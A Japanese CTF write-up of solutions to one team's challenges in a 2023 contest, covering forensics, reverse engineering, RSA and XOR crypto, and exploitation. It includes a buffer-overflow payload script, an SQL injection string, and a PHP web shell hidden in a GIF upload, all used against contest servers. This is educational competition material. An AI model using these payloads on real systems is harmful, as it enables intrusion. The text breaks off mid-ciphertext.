この大会は2023/4/8 2:00(JST)~2023/4/10 2:00(JST)に開催されました。
今回もチームで参戦。結果は4860点で500チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。
Image-2 (MISC, EASY)
EXIF情報を見てみる。
$ exiftool mrxbox98.png ExifTool Version Number : 12.40 File Name : mrxbox98.png Directory : . File Size : 35 KiB File Modification Date/Time : 2023:04:08 04:34:27+09:00 File Access Date/Time : 2023:04:08 04:35:15+09:00 File Inode Change Date/Time : 2023:04:08 04:34:27+09:00 File Permissions : -rwxrwxrwx File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 512 Image Height : 512 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced SRGB Rendering : Perceptual Gamma : 2.2 Pixels Per Unit X : 3779 Pixels Per Unit Y : 3779 Pixel Units : meters Exif Byte Order : Big-endian (Motorola, MM) Make : bucket(m3t4d4t4_4c53f444) Resolution Unit : inches Y Cb Cr Positioning : Centered Image Size : 512x512 Megapixels : 0.262
Makeにフラグが設定されていた。
bucket(m3t4d4t4_4c53f444)
minecraft (MISC, EASY)
$ file bucketctfMC.mcworld bucketctfMC.mcworld: Zip archive data, at least v4.5 to extract, compression method=deflate $ unzip bucketctfMC.mcworld Archive: bucketctfMC.mcworld inflating: db/000003.log inflating: db/CURRENT inflating: db/MANIFEST-000002 inflating: level.dat inflating: level.dat_old inflating: levelname.txt inflating: world_icon.jpeg $ strings db/000003.log | grep -a -A 2 bucket bucket{1L0V3MIN 3CRAFT_1c330e9 105f1} -- bucket{1L0V3MIN 3CRAFT_1c330e9 105f1} -- bucket{1L0V3MIN 3CRAFT_1c330e9 105f1}
bucket{1L0V3MIN3CRAFT_1c330e9105f1}
Transmission (MISC, EASY)
横に細長い画像になっている。RGBの値をASCIIコードとしてデコードする。
#!/usr/bin/env python3 from PIL import Image img = Image.open('beamoflight.png').convert('RGB') w, h = img.size msg = '' for x in range(w): r, g, b = img.getpixel((x, 0)) msg += chr(r) msg += chr(g) msg += chr(b) print(msg)
デコードした結果は以下の通り。
:03:47: Alien Species 1: Greetings, unidentified spacecraft. This is the Andromedan Confederation. State your intentions. 02:03:50: Alien Species 2: Hello, Andromedan Confederation. This is the Sagittarian Alliance. We come in peace and wish to establish communication with your species. 02:03:53: Andromedan Confederation: We acknowledge your message, Sagittarian Alliance. We too come in peace. What is it that you wish to communicate about? 02:03:56: Sagittarian Alliance: We are interested in establishing a mutual defense agreement with your confederation. We have encountered hostile forces in this sector and believe that we can work together to protect our civilizations. 02:04:00: Andromedan Confederation: Your proposal is intriguing, Sagittarian Alliance. We will need to discuss this with our council and get back to you. In the meantime, can you tell us more about the hostile forces you have encountered? 02:04:04: Sagittarian Alliance: We have reason to believe that they are part of a larger coalition that seeks to dominate this sector of the galaxy. They are highly advanced and have already destroyed several of our outposts. 02:04:09: Andromedan Confederation: We are sorry to hear that. We too have had encounters with hostile forces in this sector. We will do everything in our power to assist you. 02:04:13: Sagittarian Alliance: Thank you, Andromedan Confederation. We have a message that we would like to send to you privately. Is there a secure channel that we can use? 02:04:18: Andromedan Confederation: Yes, we have a secure channel that we can open. We will send you the coordinates now. 02:04:22: Sagittarian Alliance: Thank you, Andromedan Confederation. We are sending the message now. ##### bucket{d3c0d3_th3_png_f7c74c1dc7} ##### 02:04:25: Andromedan Confederation: Message received. We will keep this information confidential and use it to aid in our joint defense efforts. 02:04:29: Sagittarian Alliance: We trust that you will. Thank you for your cooperation, Andromedan Confederation. We look forward to working with you. 02:04:33: Andromedan Confederation: Likewise, Sagittarian Alliance. Until next time, safe travels.
この中にフラグが含まれていた。
bucket{d3c0d3_th3_png_f7c74c1dc7}
clocks (MISC, MEDIUM)
送信パケットはすべて同じものになっている。時間間隔が意味をなしていると推測し、時間表示形式を「前に表示されたパケットからの秒数」にしてみると、約0.1秒のものと約0.5秒のものがあることがわかる。
約0.1秒のものを0、約0.5秒のものを1を対応付け、2進数としてデコードしてみる。このとき、Wiresharkの[ファイル]-[エキスパートパケット解析]-[CSVとして]を選択し、CSVファイルに保存する。この保存データを使って、デコードする。
#!/usr/bin/env python3 import csv bin_flag = '' with open('clocks_medium.csv', 'r') as f: reader = csv.reader(f) init = True for row in reader: if init: init = False continue t = row[1][:3] if t == '0.1': bin_flag += '0' elif t == '0.5': bin_flag += '1' flag = '' for i in range(0, len(bin_flag), 8): flag += chr(int(bin_flag[i:i+8], 2)) print(flag)
bucket{look_at_the_times_sometimes}
Starting place (PWN, EASY)
Ghidraでデコンパイルする。
undefined4 main(void) { int iVar1; char local_30 [12]; undefined2 local_24; undefined local_22; undefined *local_10; local_10 = &stack0x00000004; local_24 = 0x736c; local_22 = 0; puts("Hi! would you like see the current directory?"); read(0,local_30,0x1c); iVar1 = strcmp(local_30,"no\n"); if (iVar1 == 0) { puts("ok"); /* WARNING: Subroutine does not return */ exit(0); } puts("Ok \n"); system((char *)&local_24); return 0; }
標準ではコマンドは"ls"になっている。BOFでコマンドを上書きできる。
$ nc 213.133.103.186 7073 Hi! would you like see the current directory? yes yes Ok Dockerfile boot flag.txt lib32 media problem_backend.c run sys var a.out dev home lib64 mnt proc sbin tmp bin etc lib libx32 opt root srv usr $ nc 213.133.103.186 7073 Hi! would you like see the current directory? AAAAAAAAAAAAcat flag.txt AAAAAAAAAAAAcat flag.txt Ok bucket{congrats-on-the-buffer-overlfow-success}sh: 2: ���: not found
bucket{congrats-on-the-buffer-overlfow-success}
Never Called (PWN, HARD)
$ file a.out a.out: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d7752ae644fe997e0894f0a66f20ca20745cfdf8, for GNU/Linux 3.2.0, with debug_info, not stripped $ checksec --file a.out [*] '/mnt/hgfs/Shared/a.out' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
Ghidraでデコンパイルする。
void main(void) { undefined *puVar1; puVar1 = &stack0x00000004; puts("Starting program"); getMessage(puVar1); printf("back."); printf("Exiting!"); /* WARNING: Subroutine does not return */ exit(0); } void getMessage(void) { char local_3e [54]; printf("Enter your name: "); gets(local_3e); printf("Hello, %s\n",local_3e); return; } void printFlag(void) { char local_410 [1024]; FILE *local_10; local_10 = fopen("flag.txt","r"); fgets(local_410,0x400,local_10); printf("Your flag: %s\n",local_410); fclose(local_10); return; }
BOFでprintFlag関数をコールできれば良い。サーバ上ではASLR無効らしいので、ここでprintFlagのアドレスを確認する。
$ gdb -q ./a.out Reading symbols from ./a.out... gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ start Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [-----------------------------------registers-----------------------------------] EAX: 0x565561fd (<main>: lea ecx,[esp+0x4]) EBX: 0x56558fc0 --> 0x3ec8 ECX: 0xffffd090 --> 0x1 EDX: 0xffffd0b0 --> 0xf7e26000 --> 0x225dac ESI: 0xffffd144 --> 0xffffd30a ("/mnt/hgfs/Share"...) EDI: 0xf7ffcb80 --> 0x0 EBP: 0xffffd078 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f ESP: 0xffffd070 --> 0xffffd090 --> 0x1 EIP: 0x56556217 (<main+26>: sub esp,0xc) [-------------------------------------code--------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] Temporary breakpoint 1, main (argc=0x1, argv=0xffffd144) at main.c:11 11 main.c: そのようなファイルやディレクトリはありません. gdb-peda$ p printFlag $1 = {void ()} 0x565562ab <printFlag> gdb-peda$ c Continuing. Starting program Enter your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Hello, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [-----------------------------------registers-----------------------------------] EAX: 0x6c (b'l') EBX: 0x63414147 (b'GAAc') ECX: 0x0 EDX: 0x0 ESI: 0xffffd144 --> 0xffffd30a ("/mnt/hgfs/Share"...) EDI: 0xf7ffcb80 --> 0x0 EBP: 0x41324141 (b'AA2A') ESP: 0xffffd070 ("dAA3AAIAAeAA4AA"...) EIP: 0x41414841 (b'AHAA') [-------------------------------------code--------------------------------------] Invalid $PC address: 0x41414841 [-------------------------------------stack-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x41414841 in ?? () gdb-peda$ patto AHAA AHAA found at offset: 62
#!/usr/bin/env python3 from pwn import * p = remote('213.133.103.186', 5599) printFlag_addr = 0x565562ab payload = b'A' * 62 payload += p32(printFlag_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().rstrip() print(data) data = p.recvline().rstrip() print(data) data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to 213.133.103.186 on port 5599: Done Enter your name: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xabbUV' b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xabbUV' b'Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xabbUV' Your flag: bucket{5t4ck_5m45h3r_974c91a5} [*] Closed connection to 213.133.103.186 port 5599
bucket{5t4ck_5m45h3r_974c91a5}
Apps (REV, EASY)
$ file CTF.aia CTF.aia: Zip archive data, at least v2.0 to extract, compression method=deflate $ unzip CTF.aia Archive: CTF.aia Built with MIT App Inventor inflating: src/appinventor/ai_23saahilt/CTF/Screen1.bky inflating: src/appinventor/ai_23saahilt/CTF/Screen1.scm inflating: youngandroidproject/project.properties $ strings src/appinventor/ai_23saahilt/CTF/Screen1.bky | grep bucket <xml xmlns="http://www.w3.org/1999/xhtml"><block type="component_event" id="}v5IB/Ql!]~VtisOc[!{" x="-432" y="-326"><mutation component_type="Switch" is_generic="false" instance_name="Switch1" event_name="Changed"></mutation><field name="COMPONENT_SELECTOR">Switch1</field><statement name="DO"><block type="controls_if" id="B?8jXOHYp[5]5SxAIPWx"><value name="IF0"><block type="component_set_get" id="~CyOZ;XIKPg+n+4^c1cc"><mutation component_type="Switch" set_or_get="get" property_name="On" is_generic="false" instance_name="Switch5"></mutation><field name="COMPONENT_SELECTOR">Switch5</field><field name="PROP">On</field></block></value><statement name="DO0"><block type="controls_if" id="W|Ac-2RqL}2dD(-7NLh+"><value name="IF0"><block type="component_set_get" id="0^dN.fo62K%503kFF`h*"><mutation component_type="Switch" set_or_get="get" property_name="On" is_generic="false" instance_name="Switch7"></mutation><field name="COMPONENT_SELECTOR">Switch7</field><field name="PROP">On</field></block></value><statement name="DO0"><block type="controls_if" id="r$3l6a3yJvpTO-AZ-4nM"><value name="IF0"><block type="component_set_get" id=")TQHD!A;jD0X^fxd47t|"><mutation component_type="Switch" set_or_get="get" property_name="On" is_generic="false" instance_name="Switch13"></mutation><field name="COMPONENT_SELECTOR">Switch13</field><field name="PROP">On</field></block></value><statement name="DO0"><block type="component_set_get" id="t%xoRZuLP+tP53R5Yg5W"><mutation component_type="TextBox" set_or_get="set" property_name="Text" is_generic="false" instance_name="TextBox1"></mutation><field name="COMPONENT_SELECTOR">TextBox1</field><field name="PROP">Text</field><value name="VALUE"><block type="text" id="rmJK*:8a=Rp?GI;=tBed"><field name="TEXT">bucket{M1T_4PP_1NV3NT0R_bf0285c53}</field></block></value></block></statement></block></statement></block></statement></block></statement></block><yacodeblocks ya-version="221" language-version="36"></yacodeblocks></xml>
1行が長いが、フラグが含まれていた。
bucket{M1T_4PP_1NV3NT0R_bf0285c53}
SQLi-1 (WEB, EASY)
WebページはNameとEmailを入力する画面になっている。以下を入力し、submitすると、フラグが表示された。
Name : ' or 1= 1 -- - Email: test@test.com
bucket{s1mp13_sq11_ed0176a}
SQLi-2 (WEB, MEDIUM)
SQLi-1と同様。以下を入力し、submitすると、フラグが表示された。
Name : ' or 1= 1 -- - Email: test@test.com
bucket{m3d1um_sq11_693f79541}
gif (WEB, HARD)
GIFファイルをアップロードする画面になっている。さらにアップロードしたファイルを指定したファイル名に変更してくれる。以下のファイルを作成する。
$ cat expolit.gif GIF89a <?php phpinfo(); ?>
このexploit.gifをFilenameにexploit.phpを指定してアップロードする。http://213.133.103.186:6041/uploads/exploit.phpにアクセスすると、PHP情報が表示された。
今度はパラメータで指定したコマンドを実行できるPHPコードに変えてみる。
$ cat expolit.gif GIF89a <?php system($_GET["cmd"]); ?>
先程と同じように、このファイルをアップロードする。http://213.133.103.186:6041/uploads/exploit.php?cmd=pwdにアクセスすると、以下のように表示された。
GIF89a /var/www/html/uploads
次にhttp://213.133.103.186:6041/uploads/exploit.php?cmd=ls%20/にアクセスすると、以下のように表示された。
GIF89a bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
今度はhttp://213.133.103.186:6041/uploads/exploit.php?cmd=cat%20/flag.txtにアクセスすると、フラグが表示された。
GIF89a bucket{1_h4t3_PHP}
bucket{1_h4t3_PHP}
TBDLCG (CRYPTO EASY)
spinとlocationを推測する必要がある。途中で(8, 8)のペアで答えていけば良さそうと気づき、答えていくと、フラグが表示された。
$ nc 213.133.103.186 5425 You are playing a game of table tennis against Cogsworth64's AI bot. The bot is only able to serve the ball, because Cogsworth64 disabled . The bot will send a certain spin (represented by a number 0-8) and location (represented by a number 0-8) at each point. If you can guess the spin and location, you win the point. If you can't, the bot wins the point. The first player to win 20 points wins the game. Try not to lose. Your score: 0 Bot's score: 0 What is your guess for location?0 What is your guess for spin?0 You lose the point! The bot's spin was 8 and location was 8 Your score: 0 Bot's score: 1 What is your guess for location?1 What is your guess for spin?2 You lose the point! The bot's spin was 8 and location was 8 Your score: 0 Bot's score: 2 What is your guess for location?8 What is your guess for spin?8 You win the point! Your score: 1 Bot's score: 2 What is your guess for location?8 What is your guess for spin?8 You win the point! Your score: 2 Bot's score: 2 What is your guess for location?8 What is your guess for spin?8 You win the point! Your score: 3 Bot's score: 2 What is your guess for location?8 What is your guess for spin?8 You win the point! Your score: 4 Bot's score: 2 What is your guess for location?8 What is your guess for spin?8 You win the point! You win the game! b'bucket{#1_victory_royale_86f2b88341d8d}\n'
問題タイトルから推測すると、LCGの問題だったのかもしれないが、フラグが得られたので、よしとする。
bucket{#1_victory_royale_86f2b88341d8d}
Search - 0 (CRYPTO, EASY)
$ nc 213.133.103.186 5061 37082117030671548391307102956786295768558287165015137722191075990653337006364 75011757889153052557680793340742982322848964459897131603166631930093034489541 110000010010000110100011010110101010011110110111110000010011100110000111110010110101010111000110100000101011
RSA暗号で n, e, c の他に、p の上位ビットがわかっている。不明なビット数が少ないので、ブルートフォースでnを割り切れるものを探す。qもわかるので、あとは通常通りの方法で復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * e = 65537 c = 37082117030671548391307102956786295768558287165015137722191075990653337006364 n = 75011757889153052557680793340742982322848964459897131603166631930093034489541 bin_pbar = '110000010010000110100011010110101010011110110111110000010011100110000111110010110101010111000110100000101011' kbits = 128 - len(bin_pbar) - 1 for i in range(2 ** kbits): bin_p = bin_pbar + bin(i)[2:].zfill(kbits) + '1' p = int(bin_p, 2) if n % p == 0: break q = n // p assert p * q == n phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
bucket{m3m0ry_L3Aks_4R3_bAD}
Search - 1 (CRYPTO, MEDIUM)
$ nc 213.133.103.186 5976 34786799883592694444424722869952149896835957709902322079935288169628374880573 48159242364158057536719347392289161789418729076867074940503640874442813226247 48159242364158057536719347392289161788529791606886694463915155511703875266955
RSA暗号で n, e, c の他に、(p - 2) * (q - 2) がわかっている。
leak = (p - 2) * (q - 2) = n - 2 * (p + q) + 4 ↓ q = (n - leak + 4) // 2 - p
p * q = nと合わせ、2次方程式にして、pを解く。qもわかるので、あとは通常通りの方法で復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import sympy e = 65537 c = 34786799883592694444424722869952149896835957709902322079935288169628374880573 n = 48159242364158057536719347392289161789418729076867074940503640874442813226247 leak = 48159242364158057536719347392289161788529791606886694463915155511703875266955 p = sympy.Symbol('p') q = (n - leak + 4) // 2 - p eq = p * q - n ans = sympy.solve(eq) p = int(ans[0]) q = int(ans[1]) assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
bucket{d0nt_l34K_pr1v4T3_nUmS}
Search - 2 (CRYPTO, MEDIUM)
$ nc 213.133.103.186 5054 44814774583990961826649747202842386212218982397017819767224979025756664264937597583216921513570635646760248474850500538752368265714687 454407079243539373679724849795459993125507455094534472109900951375356622061717226521121002977964416773077308149332835987785755128803869 449130612708538786784226572323278705383186153031166592388893968693815556828570518625101022697111619242933196851560283286735326359974113
RSA暗号で n, e, c の他に dがわかっている。dがわかっているので、通常通りの方法で復号すると、mはわかる。n, e, dがわかっているので、pはわかる。そこからmを引き、文字にすればフラグになる。
#!/usr/bin/env python3 from Crypto.Util.number import * from Crypto.PublicKey import RSA e = 65537 c = 44814774583990961826649747202842386212218982397017819767224979025756664264937597583216921513570635646760248474850500538752368265714687 n = 454407079243539373679724849795459993125507455094534472109900951375356622061717226521121002977964416773077308149332835987785755128803869 d = 449130612708538786784226572323278705383186153031166592388893968693815556828570518625101022697111619242933196851560283286735326359974113 m = pow(c, d, n) rsa = RSA.construct((n, e, d)) p = rsa.p flag = long_to_bytes(p - m).decode() print(flag)
bucket{sw1tCH1nG_D1dNT_W0rK}
Psychology Random (CRYPTO, HARD)
サーバの処理概要は以下の通り。
・seedKey = [] ・addKey: 1以上10以下のランダム整数 ・以下4回繰り返し ・seedKeyに0以上255以下のランダム整数を追加 ・encryptedFlag: 空のバイト配列 ・以下フラグの長さだけ実行(i) ・flag[i]とseedKey[i%4]のXORをencryptedFlagに追加 ・seedKey[i%4] = (seedKey[i%4] + addKey) % 255
4バイトごとのブロックにし、ブルートフォースで同じインデックスでpritableになるようパラメータをチェックし、復号する。
$ nc 213.133.103.186 5542 bytearray(b't\x8d(\xcad\xc25\xdc2\x9b$\xda \xb0\'\x9c-\xa6E\xaf\x05\xa4L\xb3\x08\xa2S\xba\x00\xb1\r\xf8\x02\x80\xa1\xbe\x0e\x89\xa8\x93\xed\x92\xed\x81\xef\xda\xe2\x9b\xb1m\xfb\x9d\xfd{\x84z\xf0e\x8bk\xc2z\xdbb\xdew\xd6v\x94Q\xaf?\xe8X\xa6H\xa4\\\xbcI\xe7\x1a\x81\\\xb92\xfc_\xb2+\x8a1\xb7 \x84i\x8c8\xd1>\x83}\x8f6\x8aDd7\x97\x02i\x0cq\x1ak\x1f)\x00z\x06b\xa0}\ng\xebJ\xe2\x7f\xfaC\xe7K\xb9\x11\xf8D\xf5[\xfe\x13\xd4Z\xbdQ\xc4)\xd3a\xc6,\xd8h\xdb;\xdf?\xd3>\xcd3\xa2B\xb74\xb9\x01\xe7\x10\xbc\x1f\xbb\x0c\xb3\x03\xb3\x07\x8e\x10\xb9\n\x9a\xa5\x82\xee\x94\xac\x89\xe6\x85\xf6\xdf\xae\xa9\xff\xd8\xe2c\xd3e\xbcd\xc6t\xd3}\xddk\xce;\xd4l\x91V\xd5y\x98A\xabS\xdaC\xebK\xa8S\xf2U\xbf[\xb8U\xa7e\x99P\xae>\xc7\'\x92#\x82$\x8a;\x81=\x9f\x0f\xdc)\x92\x18v\x07\x8d\ne\x1duX2\'h]n\x12f\xe1\x00\x16n\xe6E\xe9G\xf6\x0e\xeeP\xb9A\xfbU\x80H\xfb[\xc2-\xd5\x12\x8e)\xc7(\xd88\xdb!\xd96\xc2\x7f\xe3=\xc89\xa1\x03\xb0\x1a\xa29\xfa$\x94+\xb1\x1d\x86+\xadF\x81\xd0\x81\r\xa5\xe0\xa4\xc5\x98\xdc\x97\xd4\x88\xa4\x96\xc7Q\xad\xd2\xb7$\xd8(\x80p\xc2o\x87p\xd6s\xdck\x9a`\xdaS\xe1B\xceD\xa6@\xe3@\xa0\x0e\xb3T\xa3G\xf1#\xbe]\xbc,\x89*\xbc#\xc7j\x83/\x86#\x8c=\x8c*\x86\x0cb*\x97\rzFb\x10{\x04|\x13b\x1dt\xf21[o\xe7V\xe93\xafJ\xe7B\xb6T\xf1@\xf4U\xee\x14\xd6%\xedK\xc4)\xd6+\xd0\'\xc0 \xcd<\xd6#\xee|\xe9>\xaa\x13\xad\'\xee\x1a\xbd\x11\xf9Q\xb8\t\xfc\x0f\xbf\x00\x8b_\xaa\x1f\xca\xee\x85\xe5\xd1\xe0\x84\xfa\x9d\xb4\x81\xffa\xf8\x9c\xb6n\xcc!\xe9f\xcc(\xc2|\xc2|\xdf1\xces\xd3Q\x9e~\xd5K\xb6W\xee\x11\x8d_\xe7]\xa5W\xbcF\xfaJ\xa1#\x91`\xb5#\xc8(\x96&\xcf>\x984\x950\x82\x11\xd1|\x9e\x1bj\x0e \x04d\x0f\'\x1a|\x1ck\x10nXb\xe0\x01\x10l\xe9F\xa6B\xfd\x0f\xecZ\xeaZ\xfdR\xc0I\xf2W\xc6d\xd6P\x8f"\xdd5\x967\xc6(\xd3-\xc25\xa8@\xce)\xae\x14\xa0\x0c\xa6\x0f\xb8\x00\xb6\x1b\xf3\x19\x8e\\\xae\x1f\x82\xa3\x80\x1a\x83\xe3\x9b\xf6\x9c\xfe\x81\xac\x9f\xf7\x9b\xfem\xeb\x89\xffn\x8a%\xd6w\x8dn\xdap\xdat\x8fT\xd3\x7f\x96O\xabF\xd5K\xba\\\xe4Y\xb5Y\xaeP\xf7Y\xb4c\xbdR\xb79\x8c \x85#\x8d?\x8e7\x9dr\x9a0\xda6\x80\x14"\x04\x99\x0e`\x14m\x1b~\x1d%[B\x19f\xebs\x1dm\xecI\xfa\x0c\xb0X\xe2B\xe4V\xb1J\xf7\\\xfe\\\xc64\xf3H\x8c,\xc3 \xda<\xc4%\xd4%\x940\xb38\x9b5\xa9\x00\xa7\x7f\xb8\x02\xbd\x0e\xf6\x11\xbf\x03\xab\x10\xb4\x00\x8d\xef\xb0[\x8a\xe9\x81\xa2\x91\xe2\x8d\xfb\x90\xe1\x8a\xbc!\xfd\x94\xf3(\xd4g\xbek\xc5)\xcby\xc50\xcfr\xd6s\xc6G\xcb>\xdbE\xe6D\xb1B\xa8M\xa4\x19\xa4A\xa0#\xbeI\xa5i\xc2\x16\xb8n\x9b-\x87:\x9d"\x8e2\x93v\x84\n\x8d4\x8d\x03h\x03!\x1ex\x19(\x08u\x15j_t\x1f6\xe0P\xe5l\xf8L\xe9P\xf8I\xaeJ\xe8\\\xf0V\x82O\xe9\\\xda1\xca/\xde?\x8a!\xd8!\x91/\xd0)\xcf0\xb7\x12\x9f=\xae\x07\xb3\x17\xf3\x00\xb8\x18\xfa\x17\xb0\x1c\x88\x0e\xa8\x11\x87\xea\xc2\x0f\x9d\xe4\x8a\xe3\x85\xe1\xde\xad\xb4\xb9\x96\xf8v\xcf\xde\xecm\xc9r\x82g\xc1-\xdar\xd4f\xd5\x01\xddu\x97I\xb1V\xd7L\xa6L\xe5\x7f\xf1G\xbeR\xacR\xf37\xbaH\xbf9\x87)\xc1+\x88-\x9a*\xd42\x88\x0f\xdb<\x99\x15#\x15\x95\x0b*$j\x061.b\x1b}\x1av\xf0?)s\xe7C\xf7\x0f\xb1d\xe5\x08\xf1@\xbe\x0f\xd6\x1b\xebS\xc0.\xc5^\xd9i\xc8*\x941\xca&\xd2$\xc6;\xad0\x9c=\xac\x06\xaa\x13\xb9\x03\xa4\x14\xf7\x1a\xbfN\xaa\x12\xbdU\x86\xee\xb1\x08\x89\xf0\x92\xa3\x9c\xe9\xcd\xef\x9e\xe3\x97\xf0v\xf4\x94\xf6h\xc8#\xf5\x7f\xdex\xc8r\xcbb\x8dj\xd1y\xc0\x05\xa5q\xd8C\xaaV\xa3@\xbd\r\xa8\x1a\xb9]\xb6$\xa8R\xba-\xcdb\x8a\'\x8b\'\x8ev\x88?\x99}\x9e8\x81Da.\x8a\x07~\x0cl\x15.\x18fYF\x07q\xeez\x15e\xe3\r\xa1I\xeb\n\xedK\xff^\xf6I\xf8\x18\xfaV\xc2M\xf3S\xc4!\x84 \xd3"\xde<\x98-\xdd:\x93{\xd88\xa2B\xb78\xed\x02\xa9\x0b\xa3P\xb7\x04\xaeW\xa2\x1b\x8e\x12\xfc\r\x81\xf7\x8a\xf6\x95\xac\x9d\xef\x92\xe1\x94\xf8\x9b\xe8\xd8\xeci\xd4r\xbch\xccr\xc0u\xdbg\xc5u\x96a\xd0I\xd8o\x98P\xabV\x91\x10\x9cC\xb2_\xf2G\xa8L\xa0\x18\xb6 \x93K\xfb;\x8e5\x8a6\x9da\xc9\x08\x9c7\x98\x00\x8e?\xd7 *B\xad\x07j\x1e&2w\x11c]v\x114\xc5D\x13r\xf8T\xecM\xfc\x0e\xedG\xfd\x15\xd5Y\xce]\xf4T\xce"\xcd\x1e\xef#\xcc')
この暗号を復号する。
#!/usr/bin/env python3 data = bytearray(b't\x8d(\xcad\xc25\xdc2\x9b$\xda \xb0\'\x9c-\xa6E\xaf\x05\xa4L\xb3\x08\xa2S\xba\x00\xb1\r\xf8\x02\x80\xa1\xbe\x0e\x89\xa8\x93\xed\x92\xed\x81\xef\xda\xe2\x9b\xb1m\xfb\x9d\xfd{\x84z\xf0e\x8bk\xc2z\xdbb\xdew\xd6v\x94Q\xaf?\xe8X\xa6H\xa4\\\xbcI\xe7\x1a\x81\\\xb92\xfc_\xb2+\x8a1\xb7 \x84i\x8c8\xd1>\x83}\x8f6\x8aDd7\x97\x02i\x0cq\x1ak\x1f)\x00z\x06b\xa0}\ng\xebJ\xe2\x7f\xfaC\xe7K\xb9\x11\xf8D\xf5[\xfe\x13\xd4Z\xbdQ\xc4)\xd3a\xc6,\xd8h\xdb;\xdf?\xd3>\xcd3\xa2B\xb74\xb9\x01\xe7\x10\xbc\x1f\xbb\x0c\xb3\x03\xb3\x07\x8e\x10\xb9\n\x9a\xa5\x82\xee\x94\xac\x89\xe6\x85\xf6\xdf\xae\xa9\xff\xd8\xe2c\xd3e\xbcd\xc6t\xd3}\xddk\xce;\xd4l\x91V\xd5y\x98A\xabS\xdaC\xebK\xa8S\xf2U\xbf[\xb8U\xa7e\x99P\xae>\xc7\'\x92#\x82$\x8a;\x81=\x9f\x0f\xdc)\x92\x18v\x07\x8d\ne\x1duX2\'h]n\x12f\xe1\x00\x16n\xe6E\xe9G\xf6\x0e\xeeP\xb9A\xfbU\x80H\xfb[\xc2-\xd5\x12\x8e)\xc7(\xd88\xdb!\xd96\xc2\x7f\xe3=\xc89\xa1\x03\xb0\x1a\xa29\xfa$\x94+\xb1\x1d\x86+\xadF\x81\xd0\x81\r\xa5\xe0\xa4\xc5\x98\xdc\x97\xd4\x88\xa4\x96\xc7Q\xad\xd2\xb7$\xd8(\x80p\xc2o\x87p\xd6s\xdck\x9a`\xdaS\xe1B\xceD\xa6@\xe3@\xa0\x0e\xb3T\xa3G\xf1#\xbe]\xbc,\x89*\xbc#\xc7j\x83/\x86#\x8c=\x8c*\x86\x0cb*\x97\rzFb\x10{\x04|\x13b\x1dt\xf21[o\xe7V\xe93\xafJ\xe7B\xb6T\xf1@\xf4U\xee\x14\xd6%\xedK\xc4)\xd6+\xd0\'\xc0 \xcd<\xd6#\xee|\xe9>\xaa\x13\xad\'\xee\x1a\xbd\x11\xf9Q\xb8\t\xfc\x0f\xbf\x00\x8b_\xaa\x1f\xca\xee\x85\xe5\xd1\xe0\x84\xfa\x9d\xb4\x81\xffa\xf8\x9c\xb6n\xcc!\xe9f\xcc(\xc2|\xc2|\xdf1\xces\xd3Q\x9e~\xd5K\xb6W\xee\x11\x8d_\xe7]\xa5W\xbcF\xfaJ\xa1#\x91`\xb5#\xc8(\x96&\xcf>\x984\x950\x82\x11\xd1|\x9e\x1bj\x0e \x04d\x0f\'\x1a|\x1ck\x10nXb\xe0\x01\x10l\xe9F\xa6B\xfd\x0f\xecZ\xeaZ\xfdR\xc0I\xf2W\xc6d\xd6P\x8f"\xdd5\x967\xc6(\xd3-\xc25\xa8@\xce)\xae\x14\xa0\x0c\xa6\x0f\xb8\x00\xb6\x1b\xf3\x19\x8e\\\xae\x1f\x82\xa3\x80\x1a\x83\xe3\x9b\xf6\x9c\xfe\x81\xac\x9f\xf7\x9b\xfem\xeb\x89\xffn\x8a%\xd6w\x8dn\xdap\xdat\x8fT\xd3\x7f\x96O\xabF\xd5K\xba\\\xe4Y\xb5Y\xaeP\xf7Y\xb4c\xbdR\xb79\x8c \x85#\x8d?\x8e7\x9dr\x9a0\xda6\x80\x14"\x04\x99\x0e`\x14m\x1b~\x1d%[B\x19f\xebs\x1dm\xecI\xfa\x0c\xb0X\xe2B\xe4V\xb1J\xf7\\\xfe\\\xc64\xf3H\x8c,\xc3 